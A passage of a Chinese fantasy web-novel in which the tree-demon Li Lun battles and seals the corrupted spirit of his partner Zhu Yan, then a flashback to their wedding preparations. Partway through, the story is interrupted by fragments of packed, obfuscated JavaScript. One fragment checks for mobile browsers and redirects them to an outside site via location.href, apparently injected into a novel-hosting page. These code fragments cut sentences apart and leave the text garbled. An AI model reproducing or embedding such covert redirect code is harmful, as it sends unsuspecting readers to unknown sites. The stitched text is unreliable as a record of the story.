站在对面的人,原本那双波澜不惊的眼瞳,在听到这话之时,难以控制地颤动了一下。 “哦——” 戾气朱厌自始至终的眼睛都未从离仑身上挪开过半分,纵使两人相隔了些许距离,离仑眼中的神色他自也瞧见了个清楚。 瞧自己终于戳破了离仑苦心掩藏的秘密之一,他欢喜得不得了。 “我忘了,那个孩子,已经被你亲手杀死了,埋在了槐江谷禁地里。” “离仑,你说...”戾气朱厌一脸傲娇,下意识伸手,将自己散落在身前的发丝朝指尖缠了又缠,“我说得,对吗?” “孩子?”小居后山正打坐调息着的朱厌,脸色越发惨白难看,额间冷汗流得愈加频繁,他忍不住咽了咽难受得发紧的喉咙,“什么孩子?到底发生了什么事情?” 离仑跟戾化后的自己,两个人,到底在说什么? 离仑,到底瞒了他多少事情?又有多少不可告人的秘密? “他可知道——”戾气朱厌忽而狂笑起来,神情满是癫狂,阴恻恻继续说道,“你曾经对他做过的那些事情吗?” “若是知道,你猜,他还爱你吗...” “我的——离仑——” 戾气朱厌突然喝住笑意,一脸认真起来,眸中逐渐露出野兽盯上猎物般犀利又冰冷的目光,“不如,我们来打个赌吧,就赌朱厌知道你对他做的那些往事后,他还会不会继续爱你...” 不等离仑回话,戾气朱厌先行开口着:“离仑,我先赌,我赌,他不爱...” “离仑,朱厌他知道吗?我忘了——” 戾气朱厌眼中原本那股慵懒劲儿,彻底换上了野兽锁定猎物后泛着冷光的犀利,伸出妖化后的锋利十指,划伤了自己的手。 瞧着利指上沾到的血珠,他又忍不住舔.了舔.,吞下后又继续不疾不徐挑战着离仑的底线。 “哦~我忘了——” “朱厌不知道。” “他根本不知道,他跟你的孩子,早被你亲手杀死了。” 见到离仑还是没有被自己彻底惹怒,戾气朱厌忍不住开始自乱阵脚,就像一只被人蓄意惹怒的小兽,开始暴躁炸毛起来。 对面被戾气朱厌不断挑衅着的离仑,依旧沉默着,藏在宽大衣袖中的手攥得死死的,紧了又紧。他极力克制住自己怒意,却还是难掩周身被愈发浓烈的杀气深深包裹着。 那双望着戾气朱厌的暗蓝眼眸,里头的眼神,晦暗得宛若蛰伏在黑夜中蓄势待发,准备捕食猎物的黑豹。 “离仑,”戾气朱厌那双因戾化得彻底,原本猩红的双瞳里竟闪过一抹丹雘艳色,深究之下依稀可见他藏于眼中的癫狂与疯意,“你是想杀我吗——” “你,舍得吗?” 一直没说话的离仑冷着眼,终于开了口,只是那说话的语气,冷得好似冬日寒雪,“你不是想让我爱你吗?过来——” 戾气朱厌一听,震惊得一愣。 上一秒还暴躁得不耐烦的脸色,肉眼可见变得愉悦兴奋,下意识自我呢喃起来:“嗯?真的吗?离仑说要爱我,是真的吗?是我的离仑...” “嗯,真的。”离仑轻轻一挥手,先前藏起来的槐木叶子,泛着若隐若现的金光,缓慢地便朝戾气朱厌所在方向飘去,“听话,收下它。” “这是什么东西?” 戾气朱厌开心得眼睛一亮一亮的,整个人就跟得到糖果甜嘴的稚童般,手舞足蹈兴奋说着,“离仑,你送了朱厌那么多定情信物。这是你第一次送我东西,是给我的定情信物吗?” 离仑面无表情回着他:“你说是,那便是。” 戾气朱厌伸手摊开掌心,将飘过来的槐木叶子,小心翼翼地收了起来。 谁知道,那片泛着金光的槐木叶子,刚一触碰上他的手掌心,就化作一条蓄满妖力的捆妖索,将他捆得十分牢实。 戾气朱厌顿时一怒,竭尽全力挣扎着逃开了。可那捆妖索又转为一股鎏金色泽的妖力,狠狠朝他袭去—— 那力量,大得将地面活生生砸出了一个大坑,被震得在地上滚了又滚的戾气朱厌,被飞扬的尘土直呛得微咳,刚站起来还没稳住身子,那股鎏金妖力又朝他穷追不舍地袭去。 这次终于不敢懈怠的他,做足了反击的准备,在袭击到来前,先行一步侧过身子躲开了攻击。 回过神后的戾气朱厌,十分生气地朝离仑怒吼起来:“离仑,你居然把槐鬼之力藏在誓契里,你想封印我!” “撒谎的离仑,我讨厌你!” 离仑闻言,不由一笑,“你是他,可你又不是他,骗你就骗你?那又如何?” 说着,只见他眼神一变,凭空而现一堆打着旋儿争先恐后朝他飞来的槐木叶子。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366100|183428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 翠绿槐叶散去,缓缓露出离仑的鼗鼓法器。 离仑指尖一动,鼗鼓开始有条不紊地鼓动起来,无形的暗蓝鼓波化作一把泛着蓝光的巨剑,朝戾气朱厌袭去—— 离仑出招颇狠且快,戾气朱厌被鼗鼓化出的蓝光巨剑逼得连连后退,只能一味退守着。 “离仑,你要把我抓了关起来吗?” “你抓了我,把我关了,可就是等于把朱厌也.囚.禁.起来了!” 戾气朱厌被逼得周身的红色戾气又盛了几分,眼里除了难以置信之外,更多的是对棋逢对手的欣赏与越挫越勇的兴奋。 普天之下,四海八荒之内,只有离仑才配同他过招,他喜欢极了那种势均力敌的过招感觉。 离仑从头到尾都只站在原地,一旁鼓动的鼗鼓鼓浪,化作利刃同戾气朱厌不断交手着。没一会,戾气朱厌就有些力不从心,渐渐处于下风位置。 眼见着攻击的速度越来越快,招式也让自己难以架挡,戾气朱厌翻身一跃,完美躲开了离仑的攻击,化被动为主动,开始转换招式。 可离仑很聪明,只一会,就把戾气朱厌的一招一式都摸索得一清二楚,甚至在完美复刻了他每一个招式后,还反过来制住他。 戾气朱厌被彻底惹毛,像个小孩子闹别扭般大叫起来:“离仑,你甩流氓,我讨厌你欺负我——” 离仑没有理会他,指间又变出一枚泛着金光的槐木叶子。 槐木叶子被橘色火舌舔.拭着,当火焰灼烧开叶片的那一刻,槐木叶子落地化成一个‘离仑’。 “嗯?”戾气朱厌歪了歪自己的脑袋,瞧着这一幕,眼里满是好奇与兴奋,带着浓浓的痴迷与癫狂,“有两个离仑耶...一个抓起来,一个锁起来,陪我玩,刚刚好...” 只是,他话还没说完,槐木叶子化出的‘离仑’便开始朝他更加频繁地进攻着,一点都没留手。 “坏木头——”戾气朱厌不慎被打趴在地,舌尖磨挑过口中的尖牙,吞下口中的血腥,朝离仑不禁龇牙着,露出一个玩味的笑意,“我也会——” 语毕,他挥手将身上翻涌着的红色戾气化作一只红黑相交的大猿,直接朝槐木叶子化出的‘离仑’扑去,而他则是一个转身朝真正的离仑飞去。 分秒之间,两人跟两个化身都早已过招百式,打得好生热闹。 离仑伸手一挡,瞬间解了他的新一轮攻击,冷着脸问道,“你知道,朱厌他最讨厌什么吗?你这样,他醒来,会很难过的。” 两股妖力,红蓝相杀相冲的之中,露出戾气朱厌那张妖艳的脸,嘴角噙着一抹噬血的挑衅。 “他不过是一个承载我的容器而已,我才是这个身体,真正的主人。” “离仑,你那么关心他,那么爱他,我很不喜欢。那就让他,再也醒不过来。你说,好不好——” 两人继续交手,一蓝一红的妖力化作无形的震波,将昆仑神山震得飞沙走石,风雪狂卷。 离仑一听,脸色变得格外阴鸷,嘴角冷笑:“就凭你?可笑!” 反手一击,离仑指尖蓝光再现,鼗鼓敲出的鼓浪变得无比巨大,朝着戾气朱厌狠狠压去。 戾气朱厌挥袖一挡,却还是不敌离仑,整个人被巨大鼓浪震得连人带地,活生生将地面给砸出一条深深的沟壑。 又被离仑再一次制住的戾气朱厌懊恼得抓狂,扯了扯自己被离仑弄得乱糟糟的衣袖,忽而抬手,指抵唇边,朝着离仑微念一字诀:“梦——” 一字诀攻向离仑,可离仑却丝毫不受任何影响。 “朱厌,”站在原地的他,眼睫微抬,眼里尽是让人捉摸不透的神色,慢悠悠说着,“他最讨厌,杀人的妖。” “杀妖的妖,他更讨厌——” “而你,居然敢杀了他——” 下一刻,眼色一厉,大袖一挥,化作一股槐木叶子,瞬间飞移到戾气朱厌的跟前。 在戾气朱厌刚生出逃跑的心思前,离仑已经先行一步,将他抓住。 戾气朱厌被离仑一手抓住,连带着他的手也被强行扭至身后,整个人被离仑紧紧圈在怀里,难以动弹。 死死禁锢在他胸前的戾气朱厌不断挣扎,发出尖锐的嘶鸣声,甚至气愤得开始张口咬起离仑的手臂。 没一会,离仑的手臂,就被他的尖牙咬得一片血肉模糊。 可离仑,仿佛不知疼似的,只是眉头微皱着,脸上却依旧是一幅不予理睬的模样。 离仑的力气很大,戾气朱厌被他抓得生疼,难以动弹半分。 “我讨厌你讨厌你!坏木头!你放开我——” 戾气朱厌此刻才明白,方才自己跟离仑的交手,这木头老妖怪根本就是在逗他玩,心里头的暴躁又多了几分。 “你杀谁,我不管...” 离仑将怀里挣扎的人又圈紧了几分,突然俯身靠近他的耳侧,温热的气息喷洒在耳窝位置,让戾气朱厌不由小脸一烫,难受得侧了侧脑袋想要躲开,却被离仑一把掐住下巴给强行掰了过来。 “但你让他,”离仑一字一句慢悠悠说着,生怕戾气听不懂自己所说之话,“醒来后,难过了,我就得管——” “离仑离仑,我疼...你弄疼我了...” 戾气朱厌瞧着离仑一幅势必将他抓走的模样,连忙开始装起可怜,委屈巴巴的脸上写满了撒娇,连着说话的语调都变得粘腻了几分。 “离仑,我不跑了,你放开我,好不好...” 26.记忆牢笼 戾气朱厌这娇嗔的语调一出,离仑脸上不由为之动容,眉眼一挑,瞧着自己好像出手重了些,钳制住怀里人的手臂也不由松了些许。 感受到身上压迫多了一丝松弛,背对着离仑的戾气朱厌,嘴角骤然微勾,眼中泛过一丝狡黠的算计。 只见他心口突然发出一阵微光,微光越来越明亮。 借着这道刺眼的光,戾气朱厌转身反手,朝身后的离仑胸膛狠狠一击,整个人一下子就从离仑手里挣脱了。 心口的光芒消散后,浮现在戾气朱厌眼前的,是一小节色泽鲜艳,打磨得格外精致的槐树根。 空气中传来一阵微弱的痛闷声。 “嗯...”瞧清光中之物后,离仑的脸上闪过一丝愤怒,“槐树之根?” 化形而出的槐树之根,打着旋儿,飞了足足一大圈后,才悠哉游哉地飞到戾气朱厌跟前,亲昵地朝他脸上蹭了蹭后,便瞬间遁入土里。 下一刻,地面颤动,昏天暗日。 一棵参天大槐树破土而出,伸出的藤蔓枝桠,将朱厌轻轻卷住,像护着心爱宝贝似的,紧紧包围在树心中央。 被强行困在戾气回忆牢笼里的朱厌见状,眼瞳一颤,头又隐隐作痛起来,让他疼得忍不住捂头一蹲。 ... “阿厌,跟我走。” “去哪儿啊?” “一会你就知道了。小心点。” “知道啦~” “不许睁眼,也不能偷看。” “知道啦。你何时变得如此啰嗦呢?” “好了,睁眼看看。” “嗯?这是什么呀?” “是我的槐树之根。” “送给你,阿厌,生辰快乐。” ... 断断续续的对话,不断涌入朱厌的脑海里,像一场猝不及防的龙卷风,搅得他头痛欲裂。 ... “阿离,你可是大槐妖。你的本体,是一棵喜阴的上古槐树。槐树之根,它可是你的本命之源。” “你把它送给我,可就等于把你的命,送到我手上了,你不怕吗?” “不怕。” “槐树之根,可避万丈深渊,御千层攻击。危难时刻,能护你安然无恙。” ... “很好,连你,也敢跟我对着闹。” 离仑的声音,一把将被记忆碎片折磨得半死不活的朱厌,给强行拽了回来。 “离仑...”朱厌疼得脸色发白,细看之下,捂住头的手瑟瑟发抖着,毫无血色的双唇也不受控地微微颤着。 离仑一挥手,身后涌出无数粗枝藤蔓,朝着戾气朱厌跟槐树之根的方向袭去—— 槐树之根化成的大槐树,伸出无数枝桠与离仑迎面而来的攻击藤蔓,双双开始不断交手。 可是最后,它还是不敌离仑,被他给打得往戾气朱厌身后缩了又缩。 看着阻挡在戾气朱厌面前的槐树之根,离仑的脸色阴沉如水,一脸嗔怒。 “我让你护住的是朱厌,不是戾气。再不回去,我把你也一起封印。” 挡在戾气朱厌跟前化出大槐树模样的槐树之根,听到自家主人这番话后,顿时树身一震,枝头上的小槐叶都情不自禁跟着瑟瑟发抖起来。 下一秒,大槐树便一副吃瘪的委屈模样,卷着戾气朱厌的树枝,将他轻轻放下后,便再次变回半个掌心大小的槐树之根,委屈巴巴地钻回戾气朱厌的心头里去了。 离仑伸出手,一抹蓝金交织的妖力跳跃于他的掌心之上。 戾气朱厌一看,脸色格外难看,连忙开口:“离仑,这可是朱厌的身体。你舍得伤他吗?” 下一秒,那抹蓝金交织的妖力被离仑朝地上一拍,无数藤蔓破土而出,争先恐后朝着对面戾气朱厌伸出。 戾气朱厌一看,下意识就拔腿要跑,却被离仑的藤蔓先行捆住手脚,惹得他当下便大声尖叫起来—— “你放开我放开我!我讨厌你讨厌你!我要把你丢了!我不要你了!你放开我!” 戾气朱厌挣扎得越来越厉害,离仑怕伤着他,没有理会,只是口中悄声念着咒。 被捆着的戾气朱厌的心口瞬间闪过一丝鎏金,速度快到他自己都没察觉到。 受制于人的感觉很糟糕,戾气朱厌拼命挣扎,一怒之下,一股泛着黑色的戾气现于手中,化作一把锋利的刀刃,朝捆绑住他的藤蔓砍去。 那些槐树藤蔓,都是离仑的真身。 被戾气化出的刀刃砍掉的槐树藤蔓,统统都泛着若隐若现的黑气。 戾气是天地之间最邪煞的东西,被戾气所伤,即便是妖族,伤口也是无法愈合的。 “嘶——” 真身被戾气重伤,让离仑疼得眉头一皱,捆着戾气朱厌的槐树藤蔓不由松了几分。 戾气朱厌瞄准时机,又准备拔腿就跑。不料,方才吃亏过的离仑变聪明了,提前斩断了他所有逃路。 “小心!” 伸出的槐树藤蔓来不及收回,直接穿过戾气朱厌的胸口。 “离仑...你竟敢伤我...”戾气朱厌盯着穿过自己胸膛的槐树藤蔓,满脸不可置信,怒吼道,“离仑,别忘了誓契的诅咒。若你伤我一分,你会反噬万倍的!” 离仑原本波澜不惊的脸上,慌乱与错愕一闪而过,转而眸光一颤。 低垂的眼眸,状似无意瞥了一眼自己灼痛的右手,才发现右手正被一阵微弱的火光灼烧着,隐藏在黑袍玄衣下的心口,也正悄无声息洇开一团血色。 离仑悄悄将自己的右手,藏进了宽大的衣袖里,当视线落到对面人身上,看到即便被槐树藤蔓穿膛而过依旧毫发无损的人,他竟暗自松了一口气。 幸好,方才有先见之明,他早已提前将誓契的诅咒反噬转移到自己身上。如此一来,不管朱厌受到多重的伤,都会转移到他身上。 离仑双指抵额,口中低吟,蓝光绕指。鼗鼓开始浮飞到戾气朱厌跟前,由慢到快开始鼓动起来。 伴随着越来越紧凑的鼓点,被槐树藤蔓困住的戾气朱厌身上涌现出一股又一股鎏金光丝。 光丝将戾气朱厌紧紧缠绕住,让他难受得不由发出一声凄烈的悲鸣,随即眼中滑过一抹帝释青光泽,整个人便不省人事,瘫跪在地上,低垂着脑袋。 没一会,朱厌周身萦绕着的红色戾气,被鼗鼓的鼓浪震散了几分。 跪地着的朱厌,缓缓抬起低垂的头,微微涣散的目光,获得短暂得片刻清澈,整个人也清醒了几分。 “我...在哪儿...” 钝痛着的大脑,时不时浮现过遍地尸横遍野的残破记忆,让朱厌久久无法回神。 朱厌不知道方才戾气杀的,其实都是烛阴唤来的妖化人。他以为自己戾化后的再度失控,便是又一次错手误杀了一堆无辜的凡人们。 空气中传来若隐若现的熟悉血腥气息,是离仑血的味道。 朱厌一瞬间就朝站在不远处的离仑望去,颤抖的声线里是控制不住的害怕与惶恐,一脸震惊,泛红的眼滚下一行眼泪,“你受伤了,我弄得的,对吗?” 离仑还未来得及说话,就听到朱厌痛苦的呻.吟,获得短暂清醒的朱厌连忙吩咐着他:“离仑...快动手...杀了我...” “你在胡说什么!我们不是说好,要活得长长久久,一直相伴到老的吗!” 离仑一听朱厌这寻.死之话,当下就盛怒起来。 朱厌捂住钝痛的脑袋,丝毫听不进去离仑说的话,自顾自呢喃着:“我伤了你...为什么会这样...不可以的...” 天上高悬着的血月越来越深,天地戾气源源不断从四面八方涌入他体内,身上的红色戾气越来越浓郁,力量强大到朱厌觉得自己都快无法压制住,难受到他恨不得当场撕.碎.自己。 “你没伤我,这些是我自己弄伤的。阿厌,乖,没事的,听话...” 意识到此刻朱厌的情绪有些激动,遂有崩溃之向,离仑连忙解释清楚,放轻靠近的脚步,朝他走了过去。 “你撒谎...” 他是承载戾气的容器,这世间,就没人比他还熟悉戾气。 他分明,从离仑身上,看到了若隐若现的黑色戾气。即便是万年大妖,被这邪煞戾气伤到,也是无法自行愈合的。 戾气应该是红色的,可离仑身上的是黑金色,说明此刻的他,伤得很重。 “离仑...快动手...杀了我吧...” 离仑那双暗蓝眼瞳不由颤动了一下,脸上除了心疼就是愧疚,方才他就应该快刀斩乱麻将戾气朱厌强行带到槐江谷的禁地去。 离仑嗔怒道:“不许胡闹。” “有我在,谁都别想伤你一分一毫。就算是我,也不可以。” “我说过,我一定会护住你的。有我在,别怕,阿厌。” 那双暗蓝的双瞳内,顿然闪过一抹决然的帝释青。 下一秒,只见离仑双手结印,衣袍翻飞,纵身一跃,掌心置地。 大槐鬼那鎏金的法天象地,从他身后,一跃而出,照亮了整座被血月笼罩着的昆仑神山。 手持鼗鼓的大槐鬼法天象地,随着仰天怒吼,掌心握着的大鼗鼓飘到半空,化作一把蓝光断刃绕身飞了一圈后才缓落入它手。 握上断刃的大槐鬼反手一转,那柄蓝光断刃彻底没入胸膛,依稀仅瞧见刀柄尾端,用力一划拉,伸手将里头跳动着的心脏挖了出来。与此同时,离仑的嘴角也淌下了一丝血迹。 “以誓为盟,以契定约,汲吾神血,颂爱归之——” 语毕当下,那颗由大槐鬼的法天象地挖出的心脏,跳动着化作一条泛着鎏金光辉的锁链,朝着朱厌的眉心位置,快速飞去,一下钻入—— 朱厌的识海内,红色的戾气正试图冲破识海的禁锢,四周变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只一会,戾气朱厌便沉睡过去,整个人彻底消停,不再呱噪怒吼。而识海外的朱厌,整个人便彻底晕了过去。 在他倒地前,一道玄黑身影先行接住了他,将他轻轻拥在怀里。 “阿厌...” 离仑伸出的长指,轻抵在朱厌额间。片刻之间,一抹红色的诡异雾气便被朱厌额间缓缓抽出,落入离仑掌心后便消失不见。 离仑一把将昏迷的朱厌打横抱起,化作一阵槐叶,一起消失在昆仑神山上。 天边那一轮高悬着的诡异血月,也在片刻之间,消失得无影无踪。整座大荒,彻底恢复了平静与祥和。 一团蓝金交织的浓雾于槐江谷半空而现,浓雾之中缓缓走出一道高大的身影。 是离仑跟朱厌。 “王,妖后大人这是怎么了?”一旁扫的槐精连忙丢下手中的扫帚,慌乱跑了过来。 “照顾好他,我去去就回。” 离仑神色紧张吩咐着谷内诸多槐精们,将朱厌带回屋子,帮他掖好被褥后便匆匆转身离去。 火速离开的离仑,只身一人直接前往槐江谷禁地。 刚踏入禁地,一大口血就从他嘴里溢出,将地上晕开了一小滩血池。 离仑无力地跪在地上,微微合眼,定神了许久才勉强将体内错乱的妖力逐一平复。 过了许久,只瞧他眼睑微动,再度睁开的眼眸,晦暗得让人很是捉摸不透。 离仑拖着重伤的身子,进入了禁地布下的另一处结界。 倚靠在身后的神木,将口中血腥悉数咽下,离仑一脸沉重,喃喃自语着:“心莲...枯萎了...第八次了,只剩下最后一次机会了...” 戾气朱厌被离仑动用槐鬼之力給封印起来了,后面发生的事情朱厌自然也不得而知,记忆牢笼也随之破碎而灭。 “朱厌,你瞧,离仑瞒了你好多事...” “这个坏木头老妖怪,他居然为了你,剥了一半槐鬼之力来封印我,真是疯子!我讨厌他讨厌他!” 戾气朱厌一提离仑,就不由想起当初被他用一半槐鬼之力强制封印而陷入沉睡,脸色也不受控地黑了几分。 桃花山洞,闭目调息着的朱厌猛地一睁眼,一滴冷汗不慎滑入他眼眸,模糊了当下的视线。 “怎么样?是不是很痛苦?是不是有很多疑问?” “看吧,离仑瞒着你的秘密,可多了。你想不想知道呢?” 朱厌压□□内紊乱的气息,哑着的嗓子微微发颤着:“你到底想干什么?” 赤.身.裸.体.着的戾气朱厌手一挥,将裹着自己的戾气红光化作一件跟朱厌身上一模一样的衣裳,给自己穿上了身。 戾气朱厌身子一歪,随意倒靠在岩石上,状似无意,化出锋利的十指,又开始朝身上不停划拉起来,随口一说:“我想要干什么...我想要干什么...要不你猜猜看?” 对面的朱厌痛闷出声,敛了敛神色,喉结微动,沉默些许才再度开口:“我不猜。” “你有话,就直说。你到底想干什么?” 戾气朱厌将手上的血珠舔干净后,叹了一口气,一脸慵懒:“你不是忘了吗?不如,我再给你看些东西吧。” 27.珠白喜服 朱厌体内本就妖力紊乱不已,此刻更是被戾气搅乱着心绪,识海内早已一片混乱,强压着浑身不适与难受。 戾气看见朱厌又是一幅高高在上,状似无所谓的神情模样,就不由内心拱火起来,竟被他瞬间气笑出声。 “朱厌,我很期待...” “如果到了你知道真相的那一天,你是否也依旧能如此刻这般,高高在上,依旧摆出这一幅无情无欲,令人讨厌的神情...” “是不是很痛苦...妖都想变成人,人都想修成仙...” 朱厌忍不住,睁开了眼,一抹温热滑过脸颊,让他忍不住伸指碰了碰这泪。 望着指尖的晶莹,朱厌不由沉默与失神起来。 痛苦吗? 见他依旧没过多反应,戾气朱厌停下了在自己身上不断划拉着的利指,嘴角露出一个冷笑,朝朱厌身上猝不及防又再吹了一口红雾。 朱厌下意识侧过身子躲了躲,却还是躲不过将他团团裹着的红雾,被戾气强行再一次拉入他的记忆。 半空中忽而再次闯入戾气朱厌的声音:“朱厌,凡人虽伪善,可有些话,还是很中听的。” “比如,耳听为虚...眼见...为实...” “也许,等你看完了,又有不同看法了呢...” 三万多年前的大荒。 走入方圆八百里的昆仑主门,高万仞,面九井,玉为槛,往里走,便可瞧见由诸多开明兽镇守着的昆仑之门。 对立着主门昆仑之门的是时光山谷,往前便是大荒妖域。而大荒向西的苍梧之野,此刻正一片热闹。 一只小白兔妖忍不住舔.了舔.自己手上逆起来的兔毛,将毛给理顺了,才开口问着一旁站着的另外一只小灰兔妖。 “哎呀,今儿可真热闹呀!” “你说,今日此等大日子,咱王到底发了多少请帖呀?怎么来了这么多妖呢?该不会他给整个大荒的妖,都发了帖子了吧?!” 一旁小灰兔妖捂嘴笑了笑:“那可不!听说王下令诸妖,准许诸妖拖家带口前来观礼贺喜呢!” “我可听说了,隔壁的金翅鸟,连他家那才出生不久,连形都还不能化的小鸟崽都收到了王的请帖呢!” 后面排着队正准备入苍梧之野的诸多大妖小怪们,个个手上都提着各种奇奇怪怪的的礼物,正七嘴八舌讨论着。 打扮得格外妖艳的九尾狐妖在一堆排队妖怪中瞧到了一个熟悉身影后,瞬间一移,转眼便到了那妖身后。 只见他伸手拍了拍站在前面的妖怪肩膀,瞧见那人转过身后,朝他抛了个媚眼,语气格外娇羞:“呦,俊俏的清和小妖君,你给王跟妖后大人准备了什么新婚礼物呀?给我瞧瞧呗~” 忽然眼中闯入一张明艳的面容让清和不由一愣,被他媚眼抛得晕头转向的他,红着脸,结结巴巴说着:“我...我准备了万鳞甲...” 九尾狐妖闻言,伸指勾过眼前妖的下巴,瞬带着将自己滚到他怀里,笑着对眼前妖说着。 “都说蛟龙一族生性凶猛,好杀嗜血,是大荒数一数二的凶猛妖族之一,我看清和小妖君怎么一点都不像呢...” “这模样生得如此白净好看,气质儒雅得好似那凡间话本上写的书生郎君呢...” “万鳞甲可是蛟龙一族的至宝,这礼物,大气——” 被莫名夸的清和脸又红了几分,磕巴得更厉害了,反问道:“九...九灵...妖君,准...准备了何物贺喜呢?” 闻言,九灵那双漂亮的丹凤眼里忍不住流转起来,双手勾搭上清和的脖颈:“狐族擅魅术,当然是给我们王跟妖后大人备上了千年一炼的合.欢.魅.香。” 瞧清和的脸被他逗得又红了几分,九灵故意朝他跟前又靠近几分。 “这合.欢.魅.香一点啊,甭管何等修为的大妖,爱.欲上头,情.动.难.耐,足让人缠.绵得不知天地为何物,欲.仙.欲.死.呢...” “要不...我也给清和妖君...备一些试试,如何...” 清和一听,整个人彻底红透了,急忙撒腿就跑,把留在原地的九灵给逗得捧腹大笑。 踏入苍梧之野,仅在入口位置,抬头一望,所见之处皆张灯结彩,四面八方的大荒山精野怪们,个个都打扮得格外精致紧致,纷纷应约而来,到处欢声笑语,好生热闹。 穿过苍梧之野,再往前便是槐江谷了。 苍梧之野与槐江谷之间,有一座通天神桥连接着这两处,是苍梧神桥。 苍梧神桥,是大荒里祈福祝颂,验证真爱的神桥,又名姻缘桥。 荒流传着一个家喻户晓的传说。 传说,大荒的妖侣们,只有真心相爱,这苍梧神桥才会落下,为这踏上神桥的妖侣们祝福。 若是与心爱的妖侣携手在这苍梧神桥上走一遭,便能生生世世相伴到老。 苍梧神桥两侧边上,早铺满了一眼望不见尽头的百花锦毯,处处花团锦簇,萤虫飞天,漫天斑斓,香味萦绕。 神桥两侧的三桑神木包裹着整座苍梧神桥,交错着枝蔓的神木之上更是含苞待放的火桑花,璀璨又明艳。 谷风微吹,漫天花瓣铺洒而下。 从四面八方扑飞来无数五彩斑斓的小光斑,一片喧杂之中隐约传来好几声催促声。 “飞快点!飞快点呀!王跟妖后大人的喜宴要开始了!” “对呀对呀!再不飞快些,可就又得再等五百年了!” 站在神桥另外一端的英磊,忍不住伸手挡住刺眼的日光,觑着眼一瞧,看到漫天飞来的槐精们,大声一喊:“槐精们!还不跑快点?喜服呢?带来了吗?要来不及了!” 一堆化成小精灵模样的槐精们,叽叽喳喳笑着朝英磊飞来,朝他露出了身后背着的喜服。 “山神大人,别催了别催了,来了来了!都带来了!在这呢!我们都好好保护着呢。” 这两套喜服,是离仑在几百年前就找了蚕女跟鲛人安排的。为此,他还特地跑去了南海,寻求到了残存鲛人一族的鲛绡。 蚕女吐的银丝,百毒不侵;鲛人所织的鲛绡,入水不湿。 站在苍梧谷的英磊,双手叉腰,站在木阶上指点着低下小妖的布署:“欸欸欸!不对不对,这个不可以放在那里的,要放在那一边的,快快快,动作利索些——” “今日这重大日子,茯苓跑哪去了,连个人影都没见着,啥都交给我来弄啊...” 英磊下意识想要拿过自己身后的黄毛辫子咬,却摸了个空。 今日的他,收敛起往日嬉笑皮脸,可是特地换上了大荒山神的装扮。 素日总是扎满小毛球的黄毛长辫子披散而开,随意散落在身后。 那深轮邃廓之上的五官,剑眉星目,山根挺拔,俊美非凡。 外着一袭茶褐山神装,两侧镌了黑曜珠玑,衣袖上绣满珠子褐色泽的虎族妖纹,袖口则是驼褐虎毛,内着一身极衬身材的黑纹长服,整个人华贵得好似天上神族般。 可惜,他一张嘴就又暴露了平日里那沙雕模样。 英磊实在是忍不了了,小嘴一撇:“都几万年了,这两人还玩不腻呀,真是拿他们没办法!” “离仑难道不知道每一次给他们办大婚,我们是很累的嘛!不仅很费时费力,还费劲的嘛!” 英磊忍不住转了转自己发酸的手腕,朝站在一旁的英招告状控诉着。 “爷爷你看,单我这些天写的的喜帖,我手都要写断了!偏偏离仑这个邪恶的老木头还说什么,‘写喜帖不可以用术法,得手写才能诚心真挚’...可恶!” 站在他一旁的英招笑着摸了摸自己的胡子,似回着英磊的哭诉,又似同自己呢喃着:“累是累了点。不过呢,每过五百年,大荒就有喜事,真好啊...” “爷爷,这是...王跟妖后大人的第几次喜宴了呢?” 一道孩童的声音打破了两人聊天,一个头上开了一朵大白花的小花妖胆怯地露出小脑袋,整个妖身都躲在一个老者身后。 站在英招身旁的机柏木老头,捋了捋自己发白的大胡须,笑眯眯回着说,“第几次呀...” 机柏木老头伸手掐了又掐,算了又算,最终还是笑着摇了摇头:“不记得了...英招,你还记得吗?” 英招也随之摇了摇头,笑着说:“我也记不清了...但有喜事,总归是好的呀...” 一紫一青两道身影同时落地出现,在瞧清楚来人后,在场的妖怪们都不由惊呼出声。 “这...这不是...鬼域之王和暗域之主嘛...” 绛紫色的身影先行朝着英招行礼,谦谦有礼道:“好久不见,英招大人。” 英招笑着应:“净渊来了,旁边这一位,想必就是暗域之主,陌离了吧?” 雪青身影轻颌点首,颇有礼貌地行礼:“英招大人。” “净渊!”英磊大老远瞧见,就跑了过来,一下子跳到净渊背上,双手大扯住他的脸蛋,骂骂咧咧着,“你小子!有了鬼侣就忘了兄弟!” 槐江谷内,一眼望去,都是大红彩绸,喜笼高挂,连带着院中那棵大槐树的枝头,都被离仑派槐精们给系了上好红绸和喜笼挂缀着,好生一片喜庆。 此时的屋内,站在一面两人高铜镜前的朱厌,终于将槐精们千辛万苦送来的喜服给换上了。 他张开双手,站在镜子跟前,转了又转身子,望了望自己一身素白喜服,脸上隐约透着不满神色,气嘟嘟同一旁的人说着:“是很好看啦...” “可是,谁家大婚之礼,用白色婚服啊...” 离仑知道,朱厌打小就喜欢那些花里胡哨的东西。于是背着朱厌,暗自跑遍了四海八荒各处,给他寻来了各种各样的奇珍异宝,甚至不惜化身去了最讨厌的凡间,入凡请了最好的工匠。 在离仑前往南海求取鲛绡时,鲛人族的长老得知他的去意后,还以珍贵的鲛人泪作为贺礼相赠。 喜服很精致,是很漂亮的珍珠白色泽。阳光照耀下,闪烁着五彩斑斓的珠白炫彩。 穿在朱厌身上更是好看极了,将他的身段勾勒得格外挺拔。 鲛绡起织下的喜服,以蚕女银丝为质,透着若隐若现的珠光炫彩,配着泛着银辉的鲛人珠玑,光彩夺目,将朱厌原本清贵的气质衬得淋漓尽致。 朱厌转身又朝身后的离仑抛去一个哀怨的控诉眼神,语气闷闷的:“在凡间,白色可是不详之色,不吉利的。没有凡人,会在嫁娶之喜穿珠白喜服的...” 离仑一听,自是知道他闹着小别扭,忍不住嘴角微勾,掩唇轻咳以示,笑着说:“谁说 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离仑没回他的话,只是默默笑着,盯着他一个劲儿看。 